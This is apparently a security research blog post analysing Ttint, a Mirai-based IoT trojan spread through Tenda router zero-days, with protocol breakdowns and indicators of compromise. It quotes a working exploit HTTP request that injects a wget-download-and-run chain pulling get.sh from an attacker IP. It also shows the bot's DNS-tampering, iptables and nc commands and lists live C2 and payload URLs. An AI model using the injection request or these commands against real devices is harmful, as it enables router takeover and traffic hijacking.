Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities
<!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/IUnKnow84503351">Lingming Tu</a>, <a href="https://twitter.com/_O_owl">Yanlong Ma</a>,  <a href="https://twitter.com/zom3y3">Genshen Ye</a></em></p>
<h3 id="backgroundintroduction">Background introduction</h3>
<p>Starting from November 2019, 360Netlab Anglerfish system have successively monitored attacker using two Tenda router 0-day vulnerabilities to spread a Remote Access Trojan (RAT) based on Mirai code.</p>
<p>The conventional Mirai variants normally focus on DDoS, but this variant is different. In addition to DDoS attacks, it implements 12 remote access functions such as Socket5 proxy for router devices, tampering with router DNS, setting iptables, executing custom system commands.</p>
<p>In addition, at the C2 communication level, it uses the WSS (WebSocket over TLS) protocol. Doing this can circumvent the typical Mirai traffic detection at the traffic level, and it also provides secure encrypted communication for C2.</p>
<p>About the infrastructure, the attacker first used a Google cloud service IP, and then switched to a hosting provider in Hong Kong.  When we looked up the website certificate, sample, domain name and IP in our DNSmon system Later, we were able to see more infrastructure IPs, samples, and more C2 domain names.</p>
<p>Two zero days, 12 remote access functions for the router, encrypted traffic protocol, and infrastructure IP that that moves around. This botnet does not seem to be a very typical player.</p>
<p>We named this botnet Ttint.</p>
<h3 id="0dayvulnerabilityattack">0-day vulnerability attack</h3>
<p>On November 9, 2019, we detected that the attacker used the first Tenda router 0-day vulnerability (CVE-2018-14558 &amp; CVE-2020-10987) to spread Ttint samples. It is worth noting that this vulnerability was not disclosed until July 10, 2020[<a href="https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68">1]</a>.</p>
<pre><code>GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
</code></pre>
<p>On August 21, 2020, we saw the second Tenda router 0-day vulnerability being used to spread Ttint samples.</p>
<p>On August 28, 2020, we reported the details of the second 0-day vulnerability and the PoC to the router manufacturer Tenda via email, but the manufacturer has not yet responded.</p>
<h3 id="0dayvulnerabilityscope">0-day vulnerability scope</h3>
<p>We have found the following Tenda router firmwares were affected via the 360 FirmwareTotal system.</p>
<pre><code>US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
</code></pre>
<p>We also looked up in the 360 Quake cyberspace surveying and mapping system, and the following is a result.<br>
<a href="__GHOST_URL__/content/images/2020/09/stats1.png"><img src="__GHOST_URL__/content/images/2020/09/stats1.png" class="kg-image"/></a></p>
<h3 id="ttintoverview">Ttint overview</h3>
<p>Ttint is a remote access Trojan based on Mirai code for router devices. In addition to multiplexing 10 Mirai DDoS attack instructions, it also implements 12 control instructions.</p>
<p>We analyzed and compared Ttint samples in the two periods and found that their C2 instructions were exactly the same, but they had some differences in the 0-day vulnerability, XOR Key, and C2 protocol used.<br>
<a href="__GHOST_URL__/content/images/2020/09/ttint_version.png"><img src="__GHOST_URL__/content/images/2020/09/ttint_version.png" class="kg-image"/></a></p>
<h3 id="reverseanalysis">Reverse analysis</h3>
<p>Generally speaking, at the host level, Ttint's behavior is relatively simple. When running, it deletes its own files, manipulates the watchdog, and prevents the device from restarting, it runs as a single instance by binding the port; then modifies the process name to confuse the user; it finally establishes a connection with the decrypted C2 , Reporting device information, waiting for C2 to issue instructions, and execute corresponding attacks or custom functions.</p>
<p>We can see that it retains a large number of mirai features, such as single instance, random process name, sensitive configuration information encryption, integration of a large number of attack vectors, etc.;</p>
<p>There are changes though, most notable, it rewrites the network communication part to use websocket protocol .</p>
<p>Let’s take a look at some of the custom functions.<br>
<a href="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg"><img src="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg" class="kg-image"/></a></p>
<h4 id="ttintv2sampleanalysis">Ttint v2 sample analysis</h4>
<p>MD5:73ffd45ab46415b41831faee138f306e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Lib:uclib</p>
<h4 id="socket5proxy">Socket5 proxy</h4>
<p>By binding the specific port issued by C2 to enable Socket5 proxy service. The attacker can remotely access the router's intranet, doing intranet roaming.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG" class="kg-image"/></a></p>
<h4 id="tamperingwithrouterdns">Tampering with router DNS</h4>
<p>Tamper the router DNS by modifying the resolv.conf file,</p>
<pre><code>echo nameserver &quot;DNS server&quot; &gt; /etc/etc/resolv.conf
</code></pre>
<p>The result of this is that the author of Ttint can hijack any network access of users under the affected routing device to possibly monitor or steal sensitive information.</p>
<h4 id="configiptables">Config iptables</h4>
<p>By setting iptables up, traffic forwarding and target address conversion can be easily achieved. .The following config is to expose the internal network services to the public network.</p>
<pre><code>iptables -t nat -A PREROUTING -d &quot;&quot; -p tcp --dport &quot;&quot; -j DNAT --to-destination &quot;&quot;
iptables -t nat -A POSTROUTING -d &quot;&quot; -p tcp --dport &quot;&quot; -j SNAT &quot;&quot;
iptables -A FORWARD -d -j ACCEPT
</code></pre>
<h4 id="reverseshell">Reverse shell</h4>
<p>By implementing a reverse shell through socket, the author of Ttint can operate the shell of the affected routing device as a local shell.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG" class="kg-image"/></a></p>
<h4 id="selfupgrade">Self-upgrade</h4>
<p>The bot can download corresponding CPU architecture from the specified Download URL (default is <code>uhyg8v.notepod2.com:5001</code>) to update itself.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_update.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_update.PNG" class="kg-image"/></a></p>
<h4 id="selfexit">Self-exit</h4>
<p>Ttint implements a single instance by binding port 57322, by killing the process using this port, it can exit itself.<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG" class="kg-image"/></a></p>
<h4 id="hiddennetworkchannel">Hidden network channel</h4>
<p>By using the nc tool to monitor a specific port issued by C2, communication between the Ttint author and the affected routing device can be established. (The meaning of the -d parameter is &quot;Detach from stdin&quot;, so we speculate that there is a redirection instruction after PORT)</p>
<pre><code>nc -d -l &quot;PORT&quot; &quot;some redirect cmd&quot;
</code></pre>
<h4 id="reportdeviceinformation">Report device information</h4>
<p>Report the time, os, cpu, ip, version, and mac information of the device to C2, but there is a bug in the format string in the sample, and an &quot;&amp;&quot; character is missing in the <code>type=back_infoatk_id=%s&amp;time=&amp;os=</code></p>
<h4 id="executesystemcommands">Execute system commands</h4>
<p>Execute custom system commands issued by C2 through popen function<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG" class="kg-image"/></a></p>
<h3 id="c2protocolanalysis">C2 protocol analysis</h3>
<p>The C2 information of the Ttint Bot sample is encrypted and stored in the configuration information table in the Mirai format. The XOR Key is <code>0x0EDFCEBDA</code></p>
<pre><code>c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com
</code></pre>
<p>When the bot is running, it decrypts to obtain the C2 address <code>ws:q9uvveypiB.notepod2.com:443</code>, and then communicates with C2 securely through the WebSocket over TLS protocol.<br>
<a href="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG"><img src="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG" class="kg-image"/></a></p>
<h6 id="websocketprotocol">WebSocket protocol</h6>
<p>When Ttint C2 replies to the Bot with a response code of 101, it means that the protocol handshake is completed, and then the Bot can communicate using the WebSocket protocol. The following is an example of a WebSocket packet after TLS decryption.<br>
<a href="__GHOST_URL__/content/images/2020/09/websocket.png"><img src="__GHOST_URL__/content/images/2020/09/websocket.png" class="kg-image"/></a></p>
<h6 id="botsgolivepacket">Bot's “go live” packet</h6>
<p>According to the WebSocket protocol, we know that the payload length is 0x81, the mask is 0xD5F39E67, and the payload data address is 0x08~0x88.</p>
<pre><code>00000000: 81 FE 00 81 D5 F3 9E 67  A1 8A EE 02 E8 91 FF 04  .......g........
00000010: BE AC F7 09 B3 9C B8 06  A1 98 C1 0E B1 CE AE 41  ...............A
00000020: A1 9A F3 02 E8 D5 F1 14  E8 BF F7 09 A0 8B BE 53  ...............S
00000030: FB C2 AB 49 E5 DE AA 55  F8 94 FB 09 B0 81 F7 04  ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F  E3 D5 F7 17 E8 C2 A7 55  ......._.......U
00000050: FB C2 A8 5F FB C1 AC 55  FB C2 AC 5F F3 85 FB 15  ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02  E5 91 A9 04 E7 D5 FF 15  ................
00000070: B2 80 A3 41 B8 92 FD 5A  E5 C3 A4 57 B6 C9 AC 5E  ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E  E7           
</code></pre>
<p>Perform XOR calculation on Payload Data with mask, and get the payload in plain text, which is exactly the Bot's “go live” packet.</p>
<pre><code>00000000  74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61  |type=back_info&amp;a|
00000010  74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73  |tk_id=0&amp;time=&amp;os|
00000020  3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32  |=Linux 4.15.0-42|
00000030  2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38  |-generic&amp;cpu=i68|
00000040  36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32  |6&amp;ip=192.168.222|
00000050  2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65  |.128&amp;version=5ce|
00000060  30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d  |0b7c2&amp;args=&amp;mac=|
00000070  30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39  |00:0c:29:7f:24:9|
00000080  32      
</code></pre>
<h6 id="c2instruction">C2 instruction</h6>
<p>All together, Ttint Bot supports 22 kinds of C2 commands, the 10 DDoS commands are from Mirai , and the rest 12 are new.</p>
<table>
<thead>
<tr>
<th>id</th>
<th>instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>attack_udp_generic</td>
</tr>
<tr>
<td>1</td>
<td>attack_udp_vse</td>
</tr>
<tr>
<td>2</td>
<td>attack_udp_dns</td>
</tr>
<tr>
<td>9</td>
<td>attack_udp_plain</td>
</tr>
<tr>
<td>3</td>
<td>attack_tcp_flag</td>
</tr>
<tr>
<td>4</td>
<td>attack_tcp_pack</td>
</tr>
<tr>
<td>5</td>
<td>attack_tcp_xmas</td>
</tr>
<tr>
<td>6</td>
<td>attack_grep_ip</td>
</tr>
<tr>
<td>7</td>
<td>attack_grep_eth</td>
</tr>
<tr>
<td>10</td>
<td>attack_app_http</td>
</tr>
<tr>
<td>12</td>
<td>run &quot;nc&quot; command</td>
</tr>
<tr>
<td>13</td>
<td>run &quot;ls&quot; command</td>
</tr>
<tr>
<td>15</td>
<td>Execute system commands</td>
</tr>
<tr>
<td>16</td>
<td>Tampering with router DNS</td>
</tr>
<tr>
<td>18</td>
<td>Report device information</td>
</tr>
<tr>
<td>14</td>
<td>Config iptables</td>
</tr>
<tr>
<td>11</td>
<td>run &quot;ifconfig&quot; command</td>
</tr>
<tr>
<td>17</td>
<td>Self-exit</td>
</tr>
<tr>
<td>19</td>
<td>Open Socks5 proxy</td>
</tr>
<tr>
<td>20</td>
<td>Close Socks5 proxy</td>
</tr>
<tr>
<td>21</td>
<td>Self-upgrade</td>
</tr>
<tr>
<td>22</td>
<td>Reverse shell</td>
</tr>
</tbody>
</table>
<h6 id="c2commandformatanalysis">C2 command format analysis</h6>
<p>We captured the following commands the C2 sent to the bots.</p>
<pre><code>00000000: 00 55 00 00 00 0A 0F 01  00 00 00 00 20 02 1A 13  .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78  39 6E 31 33 58 73 5A 30  pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74  61 62 6C 65 73 20 2D 44  wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D  70 20 74 63 70 20 2D 2D   INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32  36 38 35 20 2D 6A 20 41  dport 52685 -j A
00000050: 43 43 45 50 54                                    CCEPT
</code></pre>
<p>The following is a breakdown for the format</p>
<pre><code>00 55   ---- 	msg length
0F	----	cmd id, here is &quot;run system cmd&quot;
02	---- 	option number
1A	----	option type, here is &quot;attack id&quot;
13	----	option length, length of &quot;pp-lOv2x9n13XsZ0wvD&quot; = 0x13
1B	----	option type, here is &quot;attack cmd buf&quot;
30	----	option length
</code></pre>
<p>Generally speaking, Ttint will combine multiple custom functions to achieve specific attack goals.</p>
<p>Take the two adjacent commands we captured, the first command is<br>
<code>iptables -I INPUT -p tcp --dport 51599 -j ACCEPT</code>, to allow access to port 51599 of the affected device.</p>
<pre><code>00000000: 82 55 00 55 00 00 00 0A  0F 01 00 00 00 00 20 02  .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76  73 59 59 45 45 4D 70 36  ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69  70 74 61 62 6C 65 73 20  wI1bC.0iptables 
00000030: 2D 49 20 49 4E 50 55 54  20 2D 70 20 74 63 70 20  -I INPUT -p tcp 
00000040: 2D 2D 64 70 6F 72 74 20  35 31 35 39 39 20 2D 6A  --dport 51599 -j
00000050: 20 41 43 43 45 50 54                               ACCEPT
</code></pre>
<p>The next command is to enable the Socket5 proxy function on port 51599 of the affected device.</p>
<pre><code>00000000: 82 3C 00 3C 00 00 00 0A  13 01 00 00 00 00 20 04  .&lt;.&lt;.......... .
00000010: 1C 05 35 31 35 39 39 1D  06 61 6D 68 78 65 66 1E  ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39  52 1A 13 70 70 2D 30 58  .d@aYy19R..pp-0X
00000030: 74 79 73 61 33 79 58 4D  51 59 6E 6C 41 72        tysa3yXMQYnlAr
</code></pre>
<p>The combination of the two commands enabled and allowed the attacker to use the Socket5 proxy.</p>
<h3 id="recommendations">Recommendations</h3>
<p>We recommend that Tenda router users check their firmware and make necessary update.</p>
<p>We also recommend that our readers monitor and block related IoCs.</p>
<h3 id="contactus">Contact us</h3>
<p>Interested readers can contact us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or via email <strong>netlab[at]360.cn</strong> .</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>34.92.85.21         	Hong Kong           	ASN15169            	GOOGLE
34.92.139.186       	Hong Kong           	ASN15169            	GOOGLE              
43.249.29.56        	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
45.249.92.60        	Hong Kong             	ASN133115           	HK Kwaifong Group Limited
45.249.92.72        	Hong Kong              	ASN133115           	HK Kwaifong Group Limited
103.60.220.48       	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
103.108.142.92      	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
103.243.183.248     	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
</code></pre>
<p>C2:</p>
<pre><code>cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443
</code></pre>
<p>Update Server:</p>
<pre><code>uhyg8v.notepod2.com:5001
</code></pre>
<p>URL:</p>
<pre><code>http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64
</code></pre>
<p>MD5:</p>
<pre><code>3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e
</code></pre>
<!--kg-card-end: markdown-->
Author: Lingming Tu, Yanlong Ma, Genshen Ye



Background introduction


Starting from November 2019, 360Netlab Anglerfish system have successively monitored attacker using two Tenda router 0-day vulnerabilities to spread a Remote Access Trojan (RAT) based on Mirai code.


The conventional Mirai variants normally focus on DDoS, but this variant is different. In addition to DDoS attacks, it implements 12 remote access functions such as Socket5 proxy for router devices, tampering with router DNS, setting iptables, executing custom system commands.


In addition, at the C2 communication level, it uses the WSS (WebSocket over TLS) protocol. Doing this can circumvent the typical Mirai traffic detection at the traffic level, and it also provides secure encrypted communication for C2.


About the infrastructure, the attacker first used a Google cloud service IP, and then switched to a hosting provider in Hong Kong. When we looked up the website certificate, sample, domain name and IP in our DNSmon system Later, we were able to see more infrastructure IPs, samples, and more C2 domain names.


Two zero days, 12 remote access functions for the router, encrypted traffic protocol, and infrastructure IP that that moves around. This botnet does not seem to be a very typical player.


We named this botnet Ttint.



0-day vulnerability attack


On November 9, 2019, we detected that the attacker used the first Tenda router 0-day vulnerability (CVE-2018-14558 & CVE-2020-10987) to spread Ttint samples. It is worth noting that this vulnerability was not disclosed until July 10, 2020[1].


GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0



On August 21, 2020, we saw the second Tenda router 0-day vulnerability being used to spread Ttint samples.


On August 28, 2020, we reported the details of the second 0-day vulnerability and the PoC to the router manufacturer Tenda via email, but the manufacturer has not yet responded.



0-day vulnerability scope


We have found the following Tenda router firmwares were affected via the 360 FirmwareTotal system.


US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn



We also looked up in the 360 Quake cyberspace surveying and mapping system, and the following is a result.





Ttint overview


Ttint is a remote access Trojan based on Mirai code for router devices. In addition to multiplexing 10 Mirai DDoS attack instructions, it also implements 12 control instructions.


We analyzed and compared Ttint samples in the two periods and found that their C2 instructions were exactly the same, but they had some differences in the 0-day vulnerability, XOR Key, and C2 protocol used.





Reverse analysis


Generally speaking, at the host level, Ttint's behavior is relatively simple. When running, it deletes its own files, manipulates the watchdog, and prevents the device from restarting, it runs as a single instance by binding the port; then modifies the process name to confuse the user; it finally establishes a connection with the decrypted C2 , Reporting device information, waiting for C2 to issue instructions, and execute corresponding attacks or custom functions.


We can see that it retains a large number of mirai features, such as single instance, random process name, sensitive configuration information encryption, integration of a large number of attack vectors, etc.;


There are changes though, most notable, it rewrites the network communication part to use websocket protocol .


Let’s take a look at some of the custom functions.




Ttint v2 sample analysis


MD5:73ffd45ab46415b41831faee138f306e

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Lib:uclib


Socket5 proxy


By binding the specific port issued by C2 to enable Socket5 proxy service. The attacker can remotely access the router's intranet, doing intranet roaming.




Tampering with router DNS


Tamper the router DNS by modifying the resolv.conf file,


echo nameserver "DNS server" > /etc/etc/resolv.conf



The result of this is that the author of Ttint can hijack any network access of users under the affected routing device to possibly monitor or steal sensitive information.


Config iptables


By setting iptables up, traffic forwarding and target address conversion can be easily achieved. .The following config is to expose the internal network services to the public network.


iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""
iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""
iptables -A FORWARD -d -j ACCEPT



Reverse shell


By implementing a reverse shell through socket, the author of Ttint can operate the shell of the affected routing device as a local shell.




Self-upgrade


The bot can download corresponding CPU architecture from the specified Download URL (default is uhyg8v.notepod2.com:5001) to update itself.




Self-exit


Ttint implements a single instance by binding port 57322, by killing the process using this port, it can exit itself.




Hidden network channel


By using the nc tool to monitor a specific port issued by C2, communication between the Ttint author and the affected routing device can be established. (The meaning of the -d parameter is "Detach from stdin", so we speculate that there is a redirection instruction after PORT)


nc -d -l "PORT" "some redirect cmd"



Report device information


Report the time, os, cpu, ip, version, and mac information of the device to C2, but there is a bug in the format string in the sample, and an "&" character is missing in the type=back_infoatk_id=%s&time=&os=


Execute system commands


Execute custom system commands issued by C2 through popen function





C2 protocol analysis


The C2 information of the Ttint Bot sample is encrypted and stored in the configuration information table in the Mirai format. The XOR Key is 0x0EDFCEBDA


c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com



When the bot is running, it decrypts to obtain the C2 address ws:q9uvveypiB.notepod2.com:443, and then communicates with C2 securely through the WebSocket over TLS protocol.




WebSocket protocol


When Ttint C2 replies to the Bot with a response code of 101, it means that the protocol handshake is completed, and then the Bot can communicate using the WebSocket protocol. The following is an example of a WebSocket packet after TLS decryption.




Bot's “go live” packet


According to the WebSocket protocol, we know that the payload length is 0x81, the mask is 0xD5F39E67, and the payload data address is 0x08~0x88.


00000000: 81 FE 00 81 D5 F3 9E 67  A1 8A EE 02 E8 91 FF 04  .......g........
00000010: BE AC F7 09 B3 9C B8 06  A1 98 C1 0E B1 CE AE 41  ...............A
00000020: A1 9A F3 02 E8 D5 F1 14  E8 BF F7 09 A0 8B BE 53  ...............S
00000030: FB C2 AB 49 E5 DE AA 55  F8 94 FB 09 B0 81 F7 04  ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F  E3 D5 F7 17 E8 C2 A7 55  ......._.......U
00000050: FB C2 A8 5F FB C1 AC 55  FB C2 AC 5F F3 85 FB 15  ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02  E5 91 A9 04 E7 D5 FF 15  ................
00000070: B2 80 A3 41 B8 92 FD 5A  E5 C3 A4 57 B6 C9 AC 5E  ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E  E7           



Perform XOR calculation on Payload Data with mask, and get the payload in plain text, which is exactly the Bot's “go live” packet.


00000000  74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61  |type=back_info&a|
00000010  74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73  |tk_id=0&time=&os|
00000020  3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32  |=Linux 4.15.0-42|
00000030  2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38  |-generic&cpu=i68|
00000040  36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32  |6&ip=192.168.222|
00000050  2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65  |.128&version=5ce|
00000060  30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d  |0b7c2&args=&mac=|
00000070  30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39  |00:0c:29:7f:24:9|
00000080  32      



C2 instruction


All together, Ttint Bot supports 22 kinds of C2 commands, the 10 DDoS commands are from Mirai , and the rest 12 are new.





id
instruction




0
attack_udp_generic


1
attack_udp_vse


2
attack_udp_dns


9
attack_udp_plain


3
attack_tcp_flag


4
attack_tcp_pack


5
attack_tcp_xmas


6
attack_grep_ip


7
attack_grep_eth


10
attack_app_http


12
run "nc" command


13
run "ls" command


15
Execute system commands


16
Tampering with router DNS


18
Report device information


14
Config iptables


11
run "ifconfig" command


17
Self-exit


19
Open Socks5 proxy


20
Close Socks5 proxy


21
Self-upgrade


22
Reverse shell





C2 command format analysis


We captured the following commands the C2 sent to the bots.


00000000: 00 55 00 00 00 0A 0F 01  00 00 00 00 20 02 1A 13  .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78  39 6E 31 33 58 73 5A 30  pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74  61 62 6C 65 73 20 2D 44  wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D  70 20 74 63 70 20 2D 2D   INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32  36 38 35 20 2D 6A 20 41  dport 52685 -j A
00000050: 43 43 45 50 54                                    CCEPT



The following is a breakdown for the format


00 55   ---- 	msg length
0F	----	cmd id, here is "run system cmd"
02	---- 	option number
1A	----	option type, here is "attack id"
13	----	option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x13
1B	----	option type, here is "attack cmd buf"
30	----	option length



Generally speaking, Ttint will combine multiple custom functions to achieve specific attack goals.


Take the two adjacent commands we captured, the first command is

iptables -I INPUT -p tcp --dport 51599 -j ACCEPT, to allow access to port 51599 of the affected device.


00000000: 82 55 00 55 00 00 00 0A  0F 01 00 00 00 00 20 02  .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76  73 59 59 45 45 4D 70 36  ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69  70 74 61 62 6C 65 73 20  wI1bC.0iptables 
00000030: 2D 49 20 49 4E 50 55 54  20 2D 70 20 74 63 70 20  -I INPUT -p tcp 
00000040: 2D 2D 64 70 6F 72 74 20  35 31 35 39 39 20 2D 6A  --dport 51599 -j
00000050: 20 41 43 43 45 50 54                               ACCEPT



The next command is to enable the Socket5 proxy function on port 51599 of the affected device.


00000000: 82 3C 00 3C 00 00 00 0A  13 01 00 00 00 00 20 04  .<.<.......... .
00000010: 1C 05 35 31 35 39 39 1D  06 61 6D 68 78 65 66 1E  ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39  52 1A 13 70 70 2D 30 58  .d@aYy19R..pp-0X
00000030: 74 79 73 61 33 79 58 4D  51 59 6E 6C 41 72        tysa3yXMQYnlAr



The combination of the two commands enabled and allowed the attacker to use the Socket5 proxy.



Recommendations


We recommend that Tenda router users check their firmware and make necessary update.


We also recommend that our readers monitor and block related IoCs.



Contact us


Interested readers can contact us on twitter or via email netlab[at]360.cn .



IoC


IP:


34.92.85.21         	Hong Kong           	ASN15169            	GOOGLE
34.92.139.186       	Hong Kong           	ASN15169            	GOOGLE              
43.249.29.56        	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
45.249.92.60        	Hong Kong             	ASN133115           	HK Kwaifong Group Limited
45.249.92.72        	Hong Kong              	ASN133115           	HK Kwaifong Group Limited
103.60.220.48       	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
103.108.142.92      	Hong Kong           	ASN133115           	HK Kwaifong Group Limited
103.243.183.248     	Hong Kong           	ASN133115           	HK Kwaifong Group Limited



C2:


cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443



Update Server:


uhyg8v.notepod2.com:5001



URL:


http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64



MD5:


3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e


